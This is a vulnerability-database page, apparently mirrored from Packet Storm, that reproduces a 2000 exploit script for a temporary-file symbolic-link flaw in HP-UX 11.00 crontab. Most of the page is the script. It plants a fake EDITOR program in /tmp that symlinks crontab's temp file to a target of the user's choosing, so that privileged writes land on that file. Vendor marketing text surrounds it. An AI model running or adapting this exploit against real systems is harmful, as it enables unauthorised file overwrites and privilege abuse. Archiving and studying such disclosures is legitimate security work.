Lucene search
K

hp-ux.crontab.sh

🗓️ 24 Oct 2000 00:00:00Reported by Kyong-won ChoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

HP-UX crontab script has a symbolic link vulnerability for temporary files.

Code
`[ Hackerslab bug_paper ] HP-UX crontab temporary file symbolic link  
vulnerability  
  
Attach  
  
====================== crontab.sh ================================  
  
#!/bin/sh  
#  
# HP-UX 11.00 crontab  
#  
# Kyong-won,Cho  
#  
# [email protected]  
#  
# Usage : ./crontab.sh <distfile>  
#  
#  
  
if [ -z "$1" ]  
then  
  
echo "Usage : $0 <distfile>"  
exit  
  
fi  
  
cat << _EOF_ > /tmp/crontab_exp  
#!/bin/sh  
  
ln -sf $1 \$1  
  
_EOF_  
  
chmod 755 /tmp/crontab_exp  
  
EDITOR=/tmp/crontab_exp  
export EDITOR  
  
crontab -e 2> /tmp/crontab$$  
  
grep -v "error on previous line" /tmp/crontab$$  
  
rm -f /tmp/crontab_exp /tmp/crontab$$  
  
  
==================================================end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Oct 2000 00:00Current
7.4High risk
Vulners AI Score7.4
25